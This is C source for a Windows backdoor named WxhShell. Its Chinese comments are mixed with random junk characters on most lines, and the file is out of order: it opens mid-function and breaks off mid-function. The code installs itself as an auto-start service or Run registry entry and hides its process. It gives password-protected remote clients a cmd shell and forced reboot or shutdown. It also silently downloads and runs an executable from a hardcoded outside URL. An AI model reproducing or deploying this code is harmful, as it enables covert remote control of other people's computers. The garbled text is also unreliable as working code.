    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lT+N{[kLt*  
    if(Boot(SHUTDOWN)) XBos ^Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 71G00@&w9D  
    else { +~?K@n  
    closesocket(wsh); -O6\!Wo=-  
    ExitThread(0); aFDCVm%U|  
    } \l?.VE D  
    break; T2}ccnDi  
    } -hKtd3WbT  
  // 获取shell ,QHn} 3fW  
  case 's': { 7VA6J-T  
    CmdShell(wsh); rm!.J0 X  
    closesocket(wsh); ^"4u1  
    ExitThread(0); HE*P0Y f=  
    break; x=3+@'  
  } }J] P`v  
  // 退出 A5YS "i  
  case 'x': { <Q?_],ip  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .GuZV'  
    CloseIt(wsh); g&L $5  
    break; }\d3   
    } $F~hL?"?  
  // 离开 Ffr6P }I  
  case 'q': { 4.'KT;[_1/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); B=hJ*;:p  
    closesocket(wsh); !gG\jC~n  
    WSACleanup(); G2hBJTW  
    exit(1); ~f[91m!+  
    break; jIL$hqo  
        } LJBDB6  
  } q^+Z>   
  } -0:B2B  
hionR)R4  
  // 提示信息 Xj;5i Vq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ge4 tc  
} +( V+XT  
  } cP[]\r+Kj  
}$1Aw%p^  
  return; Gq^#.o]  
} {y7,n  
ii]'XBSVd  
// shell模块句柄 l|K`'YS!<{  
int CmdShell(SOCKET sock) ZUUfn~ORc  
{ Y\ G^W8  
STARTUPINFO si; M ^~  
ZeroMemory(&si,sizeof(si)); l%9nA.M'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b}jLI_R{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  P7 p'j  
PROCESS_INFORMATION ProcessInfo; Nx"v|"  
char cmdline[]="cmd"; Jul xFjC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1@A*Jj[R%  
  return 0; 4r>buEU  
} ?u8 vK<2h  
|h65[9DMP  
// 自身启动模式 -}r(75C  
int StartFromService(void) YK|Y^TU^  
{ sYY=MD  
typedef struct /yj-^u\R  
{ . G ~,h  
  DWORD ExitStatus; 9C)w'\u9+  
  DWORD PebBaseAddress; |A@Gch fd  
  DWORD AffinityMask; =v]eQIp  
  DWORD BasePriority; "6%vVi6  
  ULONG UniqueProcessId; 4C_-MJI  
  ULONG InheritedFromUniqueProcessId; blA]z!FU  
}   PROCESS_BASIC_INFORMATION; L8j#l u  
N^8 lfc$a  
PROCNTQSIP NtQueryInformationProcess; r&-I r3[  
hDs.4MZC`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Rd.[8#7VE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G0eJ<*|_ 3  
Ig6>+Mw  
  HANDLE             hProcess; mLn =SU{#  
  PROCESS_BASIC_INFORMATION pbi; q7% eLJ  
5CuK\<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uH-*`*  
  if(NULL == hInst ) return 0; O[fgn;@|  
]]Da/^K=Z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +kTa>U<?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }qOC*k:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $0K%H  
Epm=&6zf  
  if (!NtQueryInformationProcess) return 0; 3fJwj}wL  
E5 0$y:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }AfK=1yOa  
  if(!hProcess) return 0; N:@C% UW}  
E0*'AZi&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; '3@WF2a  
6'6@VB  
  CloseHandle(hProcess); /Iu._2  
')w*c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y">;2Pt;  
if(hProcess==NULL) return 0; *ad"3>  
\$h LhYz-  
HMODULE hMod; <P3r}|K  
char procName[255]; V ;)q?ZHg  
unsigned long cbNeeded; :22IY> p  
2;`"B|-T  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]-aeoa#  
oa?eK  
  CloseHandle(hProcess); $V)LGu2( m  
]4>[y?k34  
if(strstr(procName,"services")) return 1; // 以服务启动 7o+!Gts]  
=7mR#3yt  
  return 0; // 注册表启动 Yn}_"FO'  
} 9c=_p'G3Fw  
K/u`W z~A  
// 主模块 SS;QPWRZ  
int StartWxhshell(LPSTR lpCmdLine) FBcF  
{ yX(6C]D  
  SOCKET wsl; %d9UWQ  
BOOL val=TRUE; $0Y&r]'  
  int port=0; 0PnW|N0  
  struct sockaddr_in door;  ~Rcd  
'.@R_sj   
  if(wscfg.ws_autoins) Install(); j]<T\O>t>  
0\jOg  
port=atoi(lpCmdLine); 3Fn26Ri j  
7 v<$l  
if(port<=0) port=wscfg.ws_port; sz wXr  
K`FgU 7g{  
  WSADATA data; ^[CD-#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fwRlqfi  
bhSpSul  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z[S,hD\w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \wNn c"  
  door.sin_family = AF_INET; t{>66jm\R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c+G: bb%p  
  door.sin_port = htons(port); 685o1c|  
38Z"9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =3oz74O[  
closesocket(wsl); 7-ba-[t#A  
return 1; G6eC.vU]j  
} xM;gF2  
@U:T}5)wc  
  if(listen(wsl,2) == INVALID_SOCKET) { ZZE  
closesocket(wsl); q'2PG@  
return 1; ooIMN =  
} >UJ&noUD#:  
  Wxhshell(wsl); %i%Xi+{3  
  WSACleanup(); 1 qUdj[Bj  
NI(`o8fN  
return 0; "`"j2{9|e!  
0mj=\j  
} i:kWO7aP  
nHKEtKDd  
// 以NT服务方式启动 0m`7|80#P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7"xd'\c@  
{ 4'54  
DWORD   status = 0; n/?5[O-D]  
  DWORD   specificError = 0xfffffff; 5.[{PJ]bq  
9$Mi/eLG2N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dY\"'LtF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e|Sg?ocR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `z` `d*_  
  serviceStatus.dwWin32ExitCode     = 0; B0z.s+.  
  serviceStatus.dwServiceSpecificExitCode = 0; .3|9 ~]  
  serviceStatus.dwCheckPoint       = 0; kFM'?L&  
  serviceStatus.dwWaitHint       = 0; {|xwvTl J  
G>mgoN  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  A ]U]  
  if (hServiceStatusHandle==0) return; ;$&-c/]F#  
sD{b0mZT  
status = GetLastError(); L''0`a. +S  
  if (status!=NO_ERROR) `6mHt6"h  
{ f aO8 &  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "}SERC7  
    serviceStatus.dwCheckPoint       = 0; mZ;yk(  
    serviceStatus.dwWaitHint       = 0; cfeX (0  
    serviceStatus.dwWin32ExitCode     = status; +X*`}-3  
    serviceStatus.dwServiceSpecificExitCode = specificError; 38q@4U=aiw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,uKvE`H  
    return; &{]%=stI  
  } 4nl>&AV  
z}bnw2d]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {sm={q  
  serviceStatus.dwCheckPoint       = 0; _f3A6ER`  
  serviceStatus.dwWaitHint       = 0; M2@q{RiS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b=|&0B$E  
} |}M']Vz  
M?cKt.t  
// 处理NT服务事件,比如:启动、停止 K%=n \ Y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }=;>T)QmMO  
{ R\.huOJh  
switch(fdwControl) OaCL'!  
{ uAvs  
case SERVICE_CONTROL_STOP: mLk Z4OZ  
  serviceStatus.dwWin32ExitCode = 0; b(Z%#*e  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; n/,7ryu  
  serviceStatus.dwCheckPoint   = 0; k@8#Byl|  
  serviceStatus.dwWaitHint     = 0; |O4A+S  
  { .v" lY2:N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rd,mbH[<C  
  } uPF yRWK  
  return; %UQ?k:aWp|  
case SERVICE_CONTROL_PAUSE: ~o/^=:*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,\IqKRcYU  
  break; ,#wVqBEk  
case SERVICE_CONTROL_CONTINUE: 5R=lTx/Hj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hx^a&"  
  break; `90v~O F  
case SERVICE_CONTROL_INTERROGATE: Eq8OAuN  
  break; tJwF h6  
}; l#~Fe D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 40#KcbMa|  
} 7 YK+TGmU^  
huF L [  
// 标准应用程序主函数  ,g,jY]o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N9n1s2;o  
{ BL8\p_U  
5./ (fgx>  
// 获取操作系统版本 -ufmpq.  
OsIsNt=GetOsVer(); N6J$z\ P  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sN C?o[9l!  
hL`zV  
  // 从命令行安装 uf;q/Wr  
  if(strpbrk(lpCmdLine,"iI")) Install(); *b)b#p  
'!.;(Jo  
  // 下载执行文件 6#KI? 6  
if(wscfg.ws_downexe) { Dz50,*}J  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 13QCM0#  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8zc!g|5"  
} Un/fP1  
{;4PP463  
if(!OsIsNt) { Qi[D&47XO  
// 如果时win9x,隐藏进程并且设置为注册表启动 .HQ<6k:  
HideProc(); og\XLJ}_  
StartWxhshell(lpCmdLine); gPwp [  
} v)d0MxSC  
else <=inogf  
  if(StartFromService()) MJG%HakK0  
  // 以服务方式启动 DrEtnt   
  StartServiceCtrlDispatcher(DispatchTable); tbPPI)lu  
else p&4n3%(R@  
  // 普通方式启动 ZWa#}VS}-n  
  StartWxhshell(lpCmdLine); OV/FQH;V  
yhdG 93  
return 0; bvgD;:Aj  
} O2,g]t~C  
W<LaR,7  
>ek%P;2w>  
od}x7RI%m  
=========================================== 2wBU@T1  
w+37'vQ  
!p&'so^-W  
"<2b jy  
{T.Vu]L80  
v 2GhR*  
" O<h#|g1  
`az`?`i7  
#include <stdio.h> Ozv.;}SE  
#include <string.h> vs@:L)GW\  
#include <windows.h> 7:L~n(QpP  
#include <winsock2.h> 2SJh6U  
#include <winsvc.h> U(N$6{i_  
#include <urlmon.h> M([H\^\:  
)/Xrhhx  
#pragma comment (lib, "Ws2_32.lib") \!QF9dP4  
#pragma comment (lib, "urlmon.lib") =Yj[MVn  
z{g<y^Im+E  
#define MAX_USER   100 // 最大客户端连接数 I7PWO d  
#define BUF_SOCK   200 // sock buffer 5tU"|10m3  
#define KEY_BUFF   255 // 输入 buffer 5)zB/Ta<  
4) 3pa*  
#define REBOOT     0   // 重启 H ZLOn  
#define SHUTDOWN   1   // 关机 (d;(FBk='  
!5OMAWNU@  
#define DEF_PORT   5000 // 监听端口 BNCJT$t YX  
sOxdq"E  
#define REG_LEN     16   // 注册表键长度 t60/f&A#7H  
#define SVC_LEN     80   // NT服务名长度 .:ZXtU  
&iOtw0E  
// 从dll定义API Hm* vKFhz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3K!0 4\  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |2<f<k/UT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $cOD6Xr)d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1:!rw,Jzl`  
R$fIb}PDr  
// wxhshell配置信息 -NPk N%h  
struct WSCFG { (bt]GAxb1  
  int ws_port;         // 监听端口 ];d:z[\P  
  char ws_passstr[REG_LEN]; // 口令 $JB:rozE  
  int ws_autoins;       // 安装标记, 1=yes 0=no g yQ9Z}  
  char ws_regname[REG_LEN]; // 注册表键名 =(X'c.%i  
  char ws_svcname[REG_LEN]; // 服务名 LXC`Zq\  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e-cb?.WU?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 G^ZkY  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &8AS=v  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >v_5xd9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" thPH_DW>eb  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !;*2*WuO;  
\ui^ d  
}; 4D8yb|o  
*6D%mrK  
// default Wxhshell configuration !;aC9VhSU  
struct WSCFG wscfg={DEF_PORT, $ XsQ e  
    "xuhuanlingzhe", IaTq4rt  
    1,  "$Iw Q  
    "Wxhshell", j'*p  
    "Wxhshell", x\hn;i<  
            "WxhShell Service", EjX'&"3.  
    "Wrsky Windows CmdShell Service", !en F8a  
    "Please Input Your Password: ", #KNq:@wp6  
  1, gZEA;N:H%<  
  "http://www.wrsky.com/wxhshell.exe", DVoV:pk  
  "Wxhshell.exe" q&$0i   
    }; P>T*:!s;  
06@0r  
// 消息定义模块 To8v#.i  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }Q=se[((  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Zc3:9   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e3={$Ah  
char *msg_ws_ext="\n\rExit."; O?,i?  
char *msg_ws_end="\n\rQuit."; ) .-(-6=R  
char *msg_ws_boot="\n\rReboot..."; Omh&)|Iql  
char *msg_ws_poff="\n\rShutdown..."; Fl+tbF  
char *msg_ws_down="\n\rSave to "; vx5o k1UY  
tbzvO<~  
char *msg_ws_err="\n\rErr!"; ?> MoV5  
char *msg_ws_ok="\n\rOK!"; YeExjC  
ua|Z`qUyq  
char ExeFile[MAX_PATH]; fA M4Q  
int nUser = 0; jbhJ;c:  
HANDLE handles[MAX_USER]; 5-5(`OZ{'  
int OsIsNt; 1xdESorX(  
_IKP{WNB  
SERVICE_STATUS       serviceStatus; G2+)R^FSC  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; D@(M+u9/%  
ul=a\;3x#|  
// 函数声明 io Y\8i  
int Install(void); d!QD vO  
int Uninstall(void); 9 QCpXy  
int DownloadFile(char *sURL, SOCKET wsh); zj$_iB`9  
int Boot(int flag); =Sb:<q+Q  
void HideProc(void); gj egzKU  
int GetOsVer(void); 8 1K G1i)  
int Wxhshell(SOCKET wsl); -6~dJTm[t  
void TalkWithClient(void *cs); 1|EU5<  
int CmdShell(SOCKET sock); p-yOiG8b}  
int StartFromService(void); a,57`Ks+n<  
int StartWxhshell(LPSTR lpCmdLine); $|cp;~ 1  
&Rl3y\ r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [5p7@6:$u  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); KG-k$glD  
^8-~@01.`_  
// 数据结构和表定义 \, %o>M'  
SERVICE_TABLE_ENTRY DispatchTable[] = QVG0>,+}$  
{ ;c m wh<  
{wscfg.ws_svcname, NTServiceMain}, @maZlw1q  
{NULL, NULL} itC *Z6^  
}; %I|+_ z&x  
vBnKu  
// 自我安装 Zn<(,e  
int Install(void) (:y,CsR}4  
{ }Uwkef.Q  
  char svExeFile[MAX_PATH]; 27*(oT  
  HKEY key; 1Oca@E\Z.  
  strcpy(svExeFile,ExeFile); [zh4W*K_cq  
"\zj][sL  
// 如果是win9x系统,修改注册表设为自启动 _Xk03\n6  
if(!OsIsNt) { L VU)W^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1IF'>*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); CDnR  
  RegCloseKey(key); 6N %L8Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SZK)q   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4gv.E 0Fo  
  RegCloseKey(key); ^iV`g?z  
  return 0; d#vS E.&  
    } 94h_t@Q/1  
  } 0x]OF8=J  
} |`k1zc)9  
else { RvPniT(<?  
PV]k3&y  
// 如果是NT以上系统,安装为系统服务 w `. T/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y= oVUsG  
if (schSCManager!=0) (N*<\6kr  
{ BS-:dyBw  
  SC_HANDLE schService = CreateService ! =\DC,-CB  
  ( s#+"5&!s  
  schSCManager, hs{&G^!jo  
  wscfg.ws_svcname, C"U[ b%  
  wscfg.ws_svcdisp, rTP5-4  
  SERVICE_ALL_ACCESS, HeT6Dv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /jjW/ lr  
  SERVICE_AUTO_START, o%/-5-  
  SERVICE_ERROR_NORMAL, ]{Mci]H6T  
  svExeFile, <uBhi4  
  NULL, #Cg}!38  
  NULL, G.-h=DT]  
  NULL, q:2aPfo&  
  NULL, *;OJ ~zT  
  NULL [V> :`?  
  ); C-a*EG  
  if (schService!=0) aDN6MZM  
  { B@"SOX  
  CloseServiceHandle(schService); kW<Yda<a  
  CloseServiceHandle(schSCManager); pBg|n=^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); b"R, p=M  
  strcat(svExeFile,wscfg.ws_svcname); 5#TrCPi6A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,c,Xd  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); RV0>-@/x  
  RegCloseKey(key); ,Lt~u_lve  
  return 0; .g/ARwM}  
    } \A'|XdQ  
  }  .6O52E  
  CloseServiceHandle(schSCManager); H )BOSZD  
} 97qtJ(ESI  
} 5"-una>D  
} * ?n?'  
return 1; h*;g0QBkl  
} V-D}U$fw  
Sk6b`W7$  
// 自我卸载 ;mf4 U85  
int Uninstall(void) %XEKhy  
{ 0On? {Bw  
  HKEY key; qYgwyj=4  
kfMhw M8kP  
if(!OsIsNt) { `y8 ?=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~")h E%Kl}  
  RegDeleteValue(key,wscfg.ws_regname); (R4PD  
  RegCloseKey(key); sBP}n.#$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LJRg>8  
  RegDeleteValue(key,wscfg.ws_regname); ZNzR `6}  
  RegCloseKey(key); _'! aj +{  
  return 0; 1s{ISWm  
  } u @{E{  
} pY+.SuM  
} 7ei>L]gm%  
else { L.C ^E7;Z_  
zY7*[!c2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (v|r'B9 b  
if (schSCManager!=0) 0K=Qf69Y  
{ CCbkxHMf|!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .dD9&n;#^  
  if (schService!=0) B<|:K\MA  
  { .ocx(_3G  
  if(DeleteService(schService)!=0) { LYd}w(}  
  CloseServiceHandle(schService); xN#bzma  
  CloseServiceHandle(schSCManager); vOos*&  
  return 0; Z~r[;={,  
  } G{@C"H[$<  
  CloseServiceHandle(schService); :7 qqjs  
  }  Jt##rVN  
  CloseServiceHandle(schSCManager); DJm oW  
} ayV6m  
} >;&Gz-lm  
"KMLk  
return 1; jrIA]K6  
} `^v4zWDK  
7%{R#$F  
// 从指定url下载文件 Hze-Ob8  
int DownloadFile(char *sURL, SOCKET wsh) G 6Wx3~  
{ nqZA|-}  
  HRESULT hr; W3^zIj  
char seps[]= "/"; `d75@0:  
char *token; PV?]UUc'n<  
char *file; m!rwG(  
char myURL[MAX_PATH]; F0@Qgk]\  
char myFILE[MAX_PATH]; \n[ 392  
uWUR3n  
strcpy(myURL,sURL); 3LKB;  
  token=strtok(myURL,seps); CD^CUbGk  
  while(token!=NULL) c]6V"Bo}A  
  { *f79=x  
    file=token; K1:a]aU?Iu  
  token=strtok(NULL,seps); :ar?0  
  }  ;KZrl`  
HbNYP/MN3  
GetCurrentDirectory(MAX_PATH,myFILE); Q m $(  
strcat(myFILE, "\\"); +IG1IF  
strcat(myFILE, file); }KK2WJp#M  
  send(wsh,myFILE,strlen(myFILE),0); }0$mn)*k  
send(wsh,"...",3,0); 3>i>@n_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;4!=DFbU  
  if(hr==S_OK) }c} ( 5  
return 0; Yx6hA#7I  
else ]\OWZ{T'j  
return 1; W@l+ciZ_  
3@&bxYXm  
} #;d)?  
|</"N-#S  
// 系统电源模块 6G'<[gL j  
int Boot(int flag) 'g]hmE  
{ ?8Et[tFg  
  HANDLE hToken; wuKl-:S;Vs  
  TOKEN_PRIVILEGES tkp; ;P3>>DZ  
1xz\=HOT  
  if(OsIsNt) { [_h%F,_ A  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gF3TwAr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fCB:733H  
    tkp.PrivilegeCount = 1; 4RhR[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QjLji +L  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4GVNw!V  
if(flag==REBOOT) { T'8RkDI}-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &ik$L!iX  
  return 0; ]pWP?Ws  
} Xt ft*Z  
else { " 9qp "%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) tVunh3-  
  return 0; :y\09)CJK  
} S."7+g7Ar  
  } I0DM=V>;  
  else { hm3jpWi 8  
if(flag==REBOOT) { r=qLaPG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yIOLs}!SF  
  return 0; qbXz7s*{  
} fE^uF[-7?  
else { 6^sHgYR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) sAVefL?  
  return 0; J/t!- !  
} }w@gj"\H  
} MD<-w|#8IV  
1i u =Y  
return 1; +3Y!xD?=  
} h 'l^g%;  
84'?u m  
// win9x进程隐藏模块 O-j$vzHpdY  
void HideProc(void)  {7X#4o0  
{ 2Pp&d>E4  
|6%.VY2b  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "V 3}t4  
  if ( hKernel != NULL ) .B>B`q;B  
  { %,|ztH/ Q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Noh?^@T`Ov  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vBNZ<L\|a  
    FreeLibrary(hKernel); }~Q5Y3]#~  
  } J3G7zu8  
_UkmYZ/  
return; =OYQM<q  
} W/r^ugDV  
I]X  
// 获取操作系统版本 cOkgoL" 4  
int GetOsVer(void) c&f y{}10  
{ !%xP}{(7  
  OSVERSIONINFO winfo; '"'Btxz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H] k'?;  
  GetVersionEx(&winfo); .Pw%DZ'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -4flV D  
  return 1; ;xK_qBIP  
  else /)9W1U^B  
  return 0; ,)h)5o(?  
} :Q_x/+-  
{B0h+. C  
// 客户端句柄模块 nJJs% @y  
int Wxhshell(SOCKET wsl) cXN _*%  
{ qX$u4I!,  
  SOCKET wsh; 5h8o4  
  struct sockaddr_in client; KFDS q"j  
  DWORD myID; |y"jZT6R}t  
?z/Vgk+9|  
  while(nUser<MAX_USER) ,=o0BD2q  
{ e7xj_QH  
  int nSize=sizeof(client); bU`=*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); v7IzDz6gF  
  if(wsh==INVALID_SOCKET) return 1; )`8pd 7<.  
F>+2DlA`<e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6GYtY>  
if(handles[nUser]==0) ([ dT!B#aH  
  closesocket(wsh); %6ub3PLw8  
else \ZD[ !w7  
  nUser++; `HW:^T  
  } \Hwg) Uc{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F98i*K`"  
1pP1d%  
  return 0; `.=sTp2rbc  
} rg5]&<Vq8  
j'G tgT  
// 关闭 socket jxw_*^w"  
void CloseIt(SOCKET wsh) R8&|+ya  
{ <y)E>Fl  
closesocket(wsh); phP> 3f.T  
nUser--; M3pjXc<O  
ExitThread(0); f v LC_'M  
} +a|/l  
#Qbl=o4  
// 客户端请求句柄 '#Dg8/r!  
void TalkWithClient(void *cs) {J]-<:XD  
{ PuXUuJx(  
:Q@)*kQH  
  SOCKET wsh=(SOCKET)cs; /smiopFcq  
  char pwd[SVC_LEN]; dqe7sZl!  
  char cmd[KEY_BUFF]; a<m-V&4x  
char chr[1]; GBP-V66  
int i,j; ._ CP% R  
<7n]Ai@Y  
  while (nUser < MAX_USER) { 1H{jy^sP7  
R$m`Z+/@  
if(wscfg.ws_passstr) { iOqk*EL_r\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7Kf}O6nE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (~s|=Hxq|-  
  //ZeroMemory(pwd,KEY_BUFF); f9TV%fG?  
      i=0; ^# e~g/  
  while(i<SVC_LEN) { Veji^-0E  
rt4Z;  
  // 设置超时 O~@fXMthh  
  fd_set FdRead; 8Fq_i-u  
  struct timeval TimeOut; >UHa  
  FD_ZERO(&FdRead); ,EEPh>cXc  
  FD_SET(wsh,&FdRead); $%2H6Eg0  
  TimeOut.tv_sec=8; /_\W+^fE  
  TimeOut.tv_usec=0; #c Kqnk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); j@1)K3Hga  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); fgF;&(b  
Ec]|p6a3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o6}n8U}bk  
  pwd=chr[0]; *'ZN:5%H  
  if(chr[0]==0xd || chr[0]==0xa) { x5Zrz<Y$w  
  pwd=0; hu5!ev2  
  break; A^Cj1:,  
  } 2KI!af[I  
  i++; ]hTb@.  
    } l@~LV}BI  
3HiFISA*  
  // 如果是非法用户,关闭 socket YQ(Po!NI\'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2t1I3yA'{z  
} `/Y+1 aD  
q'S =Eav8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Bw< rp-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z1,gtl ?  
Hs0pW5oZ  
while(1) { >q7 %UK]&  
&ak6zM  
  ZeroMemory(cmd,KEY_BUFF); gPEqjj  
y,m2(V  
      // 自动支持客户端 telnet标准   KN[d!}W:  
  j=0; 6C-YyI#s#  
  while(j<KEY_BUFF) { >HTbegi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I cF@F>>  
  cmd[j]=chr[0]; 85]SC$  
  if(chr[0]==0xa || chr[0]==0xd) { :tGYs8UK  
  cmd[j]=0; 61K"(r~  
  break; ..KwTf  
  } k#)Ad*t  
  j++; t})$lM  
    } 7_\Mwy{P  
g+[kde;(^  
  // 下载文件 kv?|'DN  
  if(strstr(cmd,"http://")) { -{g~TUz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <GIwRVCU  
  if(DownloadFile(cmd,wsh)) raB+,Oi$G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0[a}n6X Tk  
  else P-Su5F  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2x} 6\t  
  } ($!KzxF3  
